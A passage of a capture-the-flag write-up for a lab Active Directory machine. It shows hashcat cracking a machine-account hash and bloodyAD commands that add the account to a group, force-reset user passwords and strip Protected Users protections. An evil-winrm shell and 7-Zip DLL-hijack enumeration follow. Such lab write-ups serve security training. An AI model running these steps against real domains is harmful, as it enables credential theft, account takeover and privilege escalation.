<p>Before running hashcat make sure to update hashcat to the latest version otherwise the hash mode we are going to use to crack these types of hashes will be not there you can simply upgrade the version using this command if you have installed hashcat using the apt package manager:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nb">sudo </span>apt-get update
<span class="nb">sudo </span>apt <span class="nb">install</span> <span class="nt">--only-upgrade</span> hashcat
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nb">echo</span> <span class="s1">'$sntp-ms$c175a486507a7d5bcaf34b07ca79a538$1c0111e900000000000a026e4c4f434cecbd2cfcb89cd3e0e1b8428bffbfcd0aecbd3031b89cc4c7ecbd3031b89cddf1'</span> <span class="o">&gt;</span> it-3.hash
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Then we can crack this hash:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>hashcat <span class="nt">-m</span> 31300 it-3.hash /usr/share/wordlists/rockyou.txt
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
</pre></td><td class="rouge-code"><pre>$sntp-ms$c175a486507a7d5bcaf34b07ca79a538$1c0111e900000000000a026e4c4f434cecbd2cfcb89cd3e0e1b8428bffbfcd0aecbd3031b89cc4c7ecbd3031b89cddf1:Rusty88!
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 31300 (MS SNTP)
Hash.Target......: $sntp-ms$c175a486507a7d5bcaf34b07ca79a538$1c0111e90...9cddf1
Time.Started.....: Tue Nov 11 09:27:02 2025 (8 secs)
Time.Estimated...: Tue Nov 11 09:27:10 2025 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  1300.9 kH/s (1.08ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10670080/14344385 (74.39%)
Rejected.........: 0/10670080 (0.00%)
Restore.Point....: 10665984/14344385 (74.36%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: Ryanpenis -&gt; RonaldoNathan
Hardware.Mon.#01.: Temp: 71c Util: 97%
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Nice! We got the password as <strong><code class="language-plaintext highlighter-rouge">Rusty88!</code></strong>. Now we can perform that attack we saw in BloodHound :)</p>

<ol>
  <li>First we have <strong>AddSelf</strong> permissions to the HelpDesk Group:</li>
</ol>

<p><img src="/assets/img/htb-rustykey/it-computer3-addself.png" alt="IT-COMPUTER3 AddSelf Permission" />
<em>IT-COMPUTER3 has AddSelf permission to the HELPDESK group</em></p>

<p>We can use bloodyAD to do this (alternatively we can use netrpc too):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>bloodyAD <span class="nt">--host</span> dc.rustykey.htb <span class="nt">-k</span> <span class="nt">-d</span> rustykey.htb <span class="nt">-u</span> <span class="s1">'IT-COMPUTER3$'</span> <span class="nt">-p</span> <span class="s1">'Rusty88!'</span> add groupMember HELPDESK <span class="s1">'IT-COMPUTER3$'</span>
<span class="o">[</span>+] IT-COMPUTER3<span class="nv">$ </span>added to HELPDESK
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-rustykey/bloody-add-helpdesk.png" alt="BloodyAD Add to HELPDESK" />
<em>Successfully added IT-COMPUTER3$ to the HELPDESK group using bloodyAD</em></p>

<p>Now since we have control of the HELPDESK, we can start abusing other DACLs.</p>

<ol>
  <li>Second up we have <strong>ForceChangePassword</strong>:</li>
</ol>

<p><img src="/assets/img/htb-rustykey/force-password-perm.png" alt="ForceChangePassword Permission" />
<em>HELPDESK group has ForceChangePassword over multiple users</em></p>

<p>We can use bloodyAD to do this too:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>bloodyAD <span class="nt">--host</span> dc.rustykey.htb <span class="nt">--dc-ip</span> 10.10.11.75 <span class="nt">-d</span> rustykey.htb <span class="nt">-k</span> <span class="nt">-u</span> <span class="s1">'IT-COMPUTER3$'</span> <span class="nt">-p</span> <span class="s1">'Rusty88!'</span> <span class="nb">set </span>password <span class="s2">"GG.ANDERSON"</span> <span class="s1">'Pwnedcake@2025'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We can repeat this for all the other users now:</p>

<ul>
  <li>GG.ANDERSON</li>
  <li>EE.REED</li>
  <li>BB.MORGAN</li>
  <li>DD.ALI</li>
</ul>

<p><img src="/assets/img/htb-rustykey/change-all-passwords.png" alt="Changing All Passwords" />
<em>Changed passwords for all accessible users using bloodyAD</em></p>

<p>But there were some issues validating the credentials using netexec:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>nxc smb dc.rustykey.htb <span class="nt">-u</span> <span class="s1">'BB.MORGAN'</span> <span class="nt">-p</span> <span class="s1">'Pwnedcake@2025'</span> <span class="nt">-k</span>
SMB         dc.rustykey.htb 445    dc               <span class="o">[</span><span class="k">*</span><span class="o">]</span>  x64 <span class="o">(</span>name:dc<span class="o">)</span> <span class="o">(</span>domain:rustykey.htb<span class="o">)</span> <span class="o">(</span>signing:True<span class="o">)</span> <span class="o">(</span>SMBv1:None<span class="o">)</span> <span class="o">(</span>NTLM:False<span class="o">)</span>
SMB         dc.rustykey.htb 445    dc               <span class="o">[</span>-] rustykey.htb<span class="se">\B</span>B.MORGAN:Pwnedcake@2025 KDC_ERR_ETYPE_NOSUPP
</pre></td></tr></tbody></table></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">KDC_ERR_ETYPE_NOSUPP</code></p>

<p>You can refer to this article about this error:</p>

<p><a href="https://community.boomi.com/s/article/KDC-ERR-ETYPE-NOSUPP-seen-when-connecting-to-Kafka-broker-using-Kerberos">Boomi User Community - KDC_ERR_ETYPE_NOSUPP</a></p>

<p>This happens because the kerberos authentication using a different encryption for this. That means the weak encryptions are disabled for these, I guess some kind of protected users because earlier in the bloodhound we saw group called <strong>Protected Objects</strong>.</p>

<p>If you take one user and see its Member of section in the bloodhound we can see the users are in the <strong>Protected Objects</strong> group that is linking to the <strong>Protected Users</strong>:</p>

<p><img src="/assets/img/htb-rustykey/protected-link.png" alt="Protected Link" />
<em>Users are protected through the Protected Objects group linking to Protected Users</em></p>

<p>You can check with netexec too:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>nxc ldap dc.rustykey.htb <span class="nt">-u</span> <span class="s1">'IT-COMPUTER3$'</span> <span class="nt">-p</span> <span class="s1">'Rusty88!'</span> <span class="nt">-M</span> groupmembership <span class="nt">-o</span> <span class="nv">USER</span><span class="o">=</span>bb.morgan <span class="nt">-k</span>
LDAP        dc.rustykey.htb 389    DC               <span class="o">[</span><span class="k">*</span><span class="o">]</span> None <span class="o">(</span>name:DC<span class="o">)</span> <span class="o">(</span>domain:rustykey.htb<span class="o">)</span> <span class="o">(</span>signing:None<span class="o">)</span> <span class="o">(</span>channel binding:No TLS cert<span class="o">)</span> <span class="o">(</span>NTLM:False<span class="o">)</span>
LDAP        dc.rustykey.htb 389    DC               <span class="o">[</span>+] rustykey.htb<span class="se">\I</span>T-COMPUTER3<span class="nv">$:</span>Rusty88!
GROUPMEM... dc.rustykey.htb 389    DC               <span class="o">[</span>+] User: bb.morgan is member of following <span class="nb">groups</span>:
GROUPMEM... dc.rustykey.htb 389    DC               IT
GROUPMEM... dc.rustykey.htb 389    DC               Domain Users
</pre></td></tr></tbody></table></code></pre></div></div>

<p>You can see that the bb.morgan is a member of the IT group.</p>

<p>If you look at the IT group carefully in the bloodhound you can see that the IT group is linked to the Protected Users group:</p>

<p><img src="/assets/img/htb-rustykey/it-protected-users.png" alt="IT Group Protected Users" />
<em>IT group is linked to Protected Users through Protected Objects</em></p>

<p>Since we have full control over the IT and HelpDesk groups, we can remove that <strong>Protected Objects</strong> object from the <strong>IT</strong> group.</p>

<p>We can utilize bloodyAD to do that:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>bloodyAD <span class="nt">--host</span> dc.rustykey.htb <span class="nt">-k</span> <span class="nt">-d</span> rustykey.htb <span class="nt">-u</span> <span class="s1">'IT-COMPUTER3$'</span> <span class="nt">-p</span> <span class="s1">'Rusty88!'</span> remove groupMember <span class="s1">'Protected Objects'</span> <span class="s1">'IT'</span>
<span class="o">[</span>-] IT removed from Protected Objects
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Nice! Now we can try and see if we can get access using Kerberos authentication:</p>

<p><img src="/assets/img/htb-rustykey/nxc-bb-morgan-success.png" alt="NetExec BB Morgan Success" />
<em>Successfully authenticated as bb.morgan after removing Protected Objects</em></p>

<p>It worked! Now we can get a login to bb.morgan since he is a member of <strong>Remote Management Users</strong>.</p>

<p>Now we can get a login using a ticket:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>getTGT.py <span class="s1">'rustykey.htb/bb.morgan@rustykey.htb:Pwnedcake@2025'</span>
<span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>bb.morgan@rustykey.htb.ccache
evil-winrm <span class="nt">-i</span> dc.rustykey.htb <span class="nt">-r</span> RUSTYKEY.HTB
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-rustykey/evil-winrm-bb-morgan.png" alt="Evil-WinRM BB Morgan" />
<em>Successfully obtained shell as bb.morgan via Evil-WinRM</em></p>

<p>Now this is user flag.</p>

<hr />

<h2 id="root">Root</h2>

<p>Now is the hard part (this required a lot of thinking to complete).</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\bb.morgan\Desktop</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">ls</span><span class="w">

    </span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Users\bb.morgan\Desktop</span><span class="w">

</span><span class="n">Mode</span><span class="w">                </span><span class="nx">LastWriteTime</span><span class="w">         </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">----</span><span class="w">                </span><span class="o">-------------</span><span class="w">         </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="nt">-a</span><span class="o">----</span><span class="w">         </span><span class="mi">6</span><span class="n">/4/2025</span><span class="w">   </span><span class="nx">9:15</span><span class="w"> </span><span class="nx">AM</span><span class="w">           </span><span class="nx">1976</span><span class="w"> </span><span class="nx">internal.pdf</span><span class="w">
</span><span class="nt">-ar</span><span class="o">---</span><span class="w">       </span><span class="mi">11</span><span class="n">/10/2025</span><span class="w">   </span><span class="nx">7:33</span><span class="w"> </span><span class="nx">PM</span><span class="w">             </span><span class="nx">34</span><span class="w"> </span><span class="nx">user.txt</span><span class="w">

</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Users\bb.morgan\Desktop</span><span class="err">&gt;</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We can see there’s a PDF file called internal.pdf - we can download it using the evil-winrm built-in <code class="language-plaintext highlighter-rouge">download</code> command.</p>

<p><img src="/assets/img/htb-rustykey/internal-pdf.png" alt="Internal PDF Content" />
<em>Internal memo about Support group extended access for archiving utilities</em></p>

<p>According to this memo, the Support group now has extended access:</p>

<blockquote>
  <p>“As part of the new Support utilities rollout, extended access has been temporarily granted to allow testing and troubleshooting of file archiving features across shared workstations”</p>
</blockquote>

<p>This hints at something interesting - earlier we had a user called <strong>EE.REED</strong> who is a member of the <strong>Support</strong> group. We can use that user to move forward.</p>

<p>And in that note:</p>

<p><strong>A few notes:</strong></p>

<ul>
  <li>“Please avoid making unrelated changes to system components while this access is active.”</li>
  <li>“This permission change is logged and will be rolled back once the archiving utility is confirmed stable in all environments.”</li>
  <li>“Let DevOps know if you encounter access errors or missing shell actions.”</li>
</ul>

<p>We can see it says ‘let devops know if you encounter access errors or missing shell actions’.</p>

<blockquote>
  <p>“Some newer systems handle context menu actions differently, so registry-level adjustments are expected during this phase.”</p>
</blockquote>

<p>From the above information, we can see that it triggers shell actions automatically at certain points, and the above line indicates that registry-level adjustments are expected during this phase.</p>

<p>This suggests that “Registry-level adjustments” are related to an archiving utility, as it mentions compression/extraction and archiving tools.</p>

<p>Let the enumeration begin:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
</pre></td><td class="rouge-code"><pre><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">dir</span><span class="w">

    </span><span class="n">Directory:</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files</span><span class="w">

</span><span class="n">Mode</span><span class="w">                </span><span class="nx">LastWriteTime</span><span class="w">         </span><span class="nx">Length</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">----</span><span class="w">                </span><span class="o">-------------</span><span class="w">         </span><span class="o">------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="n">d-----</span><span class="w">       </span><span class="nx">12/26/2024</span><span class="w">   </span><span class="nx">8:24</span><span class="w"> </span><span class="nx">PM</span><span class="w">                </span><span class="nx">7-Zip</span><span class="w">
</span><span class="n">d-----</span><span class="w">       </span><span class="nx">12/26/2024</span><span class="w">   </span><span class="nx">4:28</span><span class="w"> </span><span class="nx">PM</span><span class="w">                </span><span class="nx">Common</span><span class="w"> </span><span class="nx">Files</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">6/24/2025</span><span class="w">   </span><span class="nx">9:59</span><span class="w"> </span><span class="nx">AM</span><span class="w">                </span><span class="nx">internet</span><span class="w"> </span><span class="nx">explorer</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">7/24/2025</span><span class="w">   </span><span class="nx">1:09</span><span class="w"> </span><span class="nx">AM</span><span class="w">                </span><span class="nx">VMware</span><span class="w">
</span><span class="n">d-r---</span><span class="w">        </span><span class="nx">5/30/2025</span><span class="w">   </span><span class="nx">3:02</span><span class="w"> </span><span class="nx">PM</span><span class="w">                </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Defender</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">6/24/2025</span><span class="w">   </span><span class="nx">9:59</span><span class="w"> </span><span class="nx">AM</span><span class="w">                </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Defender</span><span class="w"> </span><span class="nx">Advanced</span><span class="w"> </span><span class="nx">Threat</span><span class="w"> </span><span class="nx">Protection</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">11/5/2022</span><span class="w">  </span><span class="nx">12:03</span><span class="w"> </span><span class="nx">PM</span><span class="w">                </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Mail</span><span class="w">
</span><span class="n">d-----</span><span class="w">         </span><span class="nx">6/5/2025</span><span class="w">   </span><span class="nx">7:54</span><span class="w"> </span><span class="nx">AM</span><span class="w">                </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Media</span><span class="w"> </span><span class="nx">Player</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">9/15/2018</span><span class="w">  </span><span class="nx">12:19</span><span class="w"> </span><span class="nx">AM</span><span class="w">                </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Multimedia</span><span class="w"> </span><span class="nx">Platform</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">9/15/2018</span><span class="w">  </span><span class="nx">12:28</span><span class="w"> </span><span class="nx">AM</span><span class="w">                </span><span class="nx">windows</span><span class="w"> </span><span class="nx">nt</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">11/5/2022</span><span class="w">  </span><span class="nx">12:03</span><span class="w"> </span><span class="nx">PM</span><span class="w">                </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Photo</span><span class="w"> </span><span class="nx">Viewer</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">9/15/2018</span><span class="w">  </span><span class="nx">12:19</span><span class="w"> </span><span class="nx">AM</span><span class="w">                </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Portable</span><span class="w"> </span><span class="nx">Devices</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">9/15/2018</span><span class="w">  </span><span class="nx">12:19</span><span class="w"> </span><span class="nx">AM</span><span class="w">                </span><span class="nx">Windows</span><span class="w"> </span><span class="nx">Security</span><span class="w">
</span><span class="n">d-----</span><span class="w">        </span><span class="nx">9/15/2018</span><span class="w">  </span><span class="nx">12:19</span><span class="w"> </span><span class="nx">AM</span><span class="w">                </span><span class="nx">WindowsPowerShell</span><span class="w">

</span><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files</span><span class="err">&gt;</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>That memo was probably talking about <strong>7-Zip</strong> because we can see it in the Program Files.</p>

<p>Short and sweet - This is pointing toward a <strong>DLL hijacking vulnerability</strong> with 7-Zip’s shell extension!</p>

<p>We can check for the registries for the 7-zip dll extension:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
</pre></td><td class="rouge-code"><pre><span class="o">*</span><span class="n">Evil-WinRM</span><span class="o">*</span><span class="w"> </span><span class="nx">PS</span><span class="w"> </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files</span><span class="err">&gt;</span><span class="w"> </span><span class="nx">reg</span><span class="w"> </span><span class="nx">query</span><span class="w"> </span><span class="nx">HKCR\CLSID</span><span class="w"> </span><span class="nx">/s</span><span class="w"> </span><span class="nx">/f</span><span class="w"> </span><span class="s2">"zip"</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="mi">23170</span><span class="n">F69-40C1-278A-1000-000100020000</span><span class="p">}</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_SZ</span><span class="w">    </span><span class="nx">7-Zip</span><span class="w"> </span><span class="nx">Shell</span><span class="w"> </span><span class="nx">Extension</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="mi">23170</span><span class="n">F69-40C1-278A-1000-000100020000</span><span class="p">}</span><span class="n">\InprocServer32</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_SZ</span><span class="w">    </span><span class="nx">C:\Program</span><span class="w"> </span><span class="nx">Files\7-Zip\7-zip.dll</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="mi">888</span><span class="n">DCA60-FC0A-11CF-8F0F-00C04FD7D062</span><span class="p">}</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_SZ</span><span class="w">    </span><span class="nx">Compressed</span><span class="w"> </span><span class="p">(</span><span class="n">zipped</span><span class="p">)</span><span class="w"> </span><span class="nx">Folder</span><span class="w"> </span><span class="nx">SendTo</span><span class="w"> </span><span class="nx">Target</span><span class="w">
    </span><span class="n">FriendlyTypeName</span><span class="w">    </span><span class="nx">REG_EXPAND_SZ</span><span class="w">    </span><span class="err">@</span><span class="o">%</span><span class="nx">SystemRoot</span><span class="o">%</span><span class="nx">\system32\zipfldr.dll</span><span class="p">,</span><span class="nt">-10226</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="mi">888</span><span class="n">DCA60-FC0A-11CF-8F0F-00C04FD7D062</span><span class="p">}</span><span class="n">\DefaultIcon</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_EXPAND_SZ</span><span class="w">    </span><span class="o">%</span><span class="nx">SystemRoot</span><span class="o">%</span><span class="nx">\system32\zipfldr.dll</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="mi">888</span><span class="n">DCA60-FC0A-11CF-8F0F-00C04FD7D062</span><span class="p">}</span><span class="n">\InProcServer32</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_EXPAND_SZ</span><span class="w">    </span><span class="o">%</span><span class="nx">SystemRoot</span><span class="o">%</span><span class="nx">\system32\zipfldr.dll</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="n">b8cdcb65-b1bf-4b42-9428-1dfdb7ee92af</span><span class="p">}</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_SZ</span><span class="w">    </span><span class="nx">Compressed</span><span class="w"> </span><span class="p">(</span><span class="n">zipped</span><span class="p">)</span><span class="w"> </span><span class="nx">Folder</span><span class="w"> </span><span class="nx">Context</span><span class="w"> </span><span class="nx">Menu</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="n">b8cdcb65-b1bf-4b42-9428-1dfdb7ee92af</span><span class="p">}</span><span class="n">\InProcServer32</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_EXPAND_SZ</span><span class="w">    </span><span class="o">%</span><span class="nx">SystemRoot</span><span class="o">%</span><span class="nx">\system32\zipfldr.dll</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="n">BD472F60-27FA-11cf-B8B4-444553540000</span><span class="p">}</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_SZ</span><span class="w">    </span><span class="nx">Compressed</span><span class="w"> </span><span class="p">(</span><span class="n">zipped</span><span class="p">)</span><span class="w"> </span><span class="nx">Folder</span><span class="w"> </span><span class="nx">Right</span><span class="w"> </span><span class="nx">Drag</span><span class="w"> </span><span class="nx">Handler</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="n">BD472F60-27FA-11cf-B8B4-444553540000</span><span class="p">}</span><span class="n">\InProcServer32</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_EXPAND_SZ</span><span class="w">    </span><span class="o">%</span><span class="nx">SystemRoot</span><span class="o">%</span><span class="nx">\system32\zipfldr.dll</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="n">E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31</span><span class="p">}</span><span class="n">\DefaultIcon</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_EXPAND_SZ</span><span class="w">    </span><span class="o">%</span><span class="nx">SystemRoot</span><span class="o">%</span><span class="nx">\system32\zipfldr.dll</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="n">E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31</span><span class="p">}</span><span class="n">\InProcServer32</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_EXPAND_SZ</span><span class="w">    </span><span class="o">%</span><span class="nx">SystemRoot</span><span class="o">%</span><span class="nx">\system32\zipfldr.dll</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="n">ed9d80b9-d157-457b-9192-0e7280313bf0</span><span class="p">}</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_SZ</span><span class="w">    </span><span class="nx">Compressed</span><span class="w"> </span><span class="p">(</span><span class="n">zipped</span><span class="p">)</span><span class="w"> </span><span class="nx">Folder</span><span class="w"> </span><span class="nx">DropHandler</span><span class="w">

</span><span class="n">HKEY_CLASSES_ROOT\CLSID\</span><span class="p">{</span><span class="n">ed9d80b9-d157-457b-9192-0e7280313bf0</span><span class="p">}</span><span class="n">\InProcServer32</span><span class="w">
    </span><span class="p">(</span><span class="n">Default</span><span class="p">)</span><span class="w">    </span><span class="nx">REG_EXPAND_SZ</span><span class="w">    </span><span class="o">%</span><span class="nx">SystemRoot</span><span class="o">%</span><span class="nx">\system32\zipfldr.dll</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p>We found it:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>HKEY_CLASSES_ROOT\CLSID\{23170F69-40C1-278A-1000-000100020000}\InprocServer32
    (Default)    REG_SZ    C:\Program Files\7-Zip\7-zip.dll
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The memo mentions the <strong>Support group has extended access</strong> for troubleshooting archiving features and registry-level adjustments.</p>

<p>Now we can get access to the user <strong>EE.REED</strong> to execute this attack. We can simulate the same steps that we did to get <strong>bb.morgan</strong>, except that we have to remove Protected Objects from the Support group - that’s the change we need to make:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>bloodyAD <span class="nt">--host</span> dc.rustykey.htb <span class="nt">-k</span> <span class="nt">-d</span> rustykey.htb <span class="nt">-u</span> <span class="s1">'IT-COMPUTER3$'</span> <span class="nt">-p</span> <span class="s1">'Rusty88!'</span> remove groupMember <span class="s1">'Protected Objects'</span> <span class="s1">'SUPPORT'</span>

<span class="o">[</span>-] SUPPORT removed from Protected Objects
</pre></td></tr></tbody></table></code></pre></div></div>

<p>And change ee.reed’s password:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>bloodyAD <span class="nt">--host</span> dc.rustykey.htb <span class="nt">-d</span> rustykey.htb <span class="nt">-k</span> <span class="nt">-u</span> <span class="s1">'IT-COMPUTER3$'</span> <span class="nt">-p</span> <span class="s1">'Rusty88!'</span> <span class="nb">set </span>password <span class="s2">"EE.REED"</span> <span class="s1">'Pwnedcake@2025'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>But there is a login issue when trying to use the ee.reed’s account:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>nxc smb dc.rustykey.htb <span class="nt">-u</span> <span class="s1">'ee.reed'</span> <span class="nt">-p</span> <span class="s1">'Pwnedcake@2025'</span> <span class="nt">-k</span> 
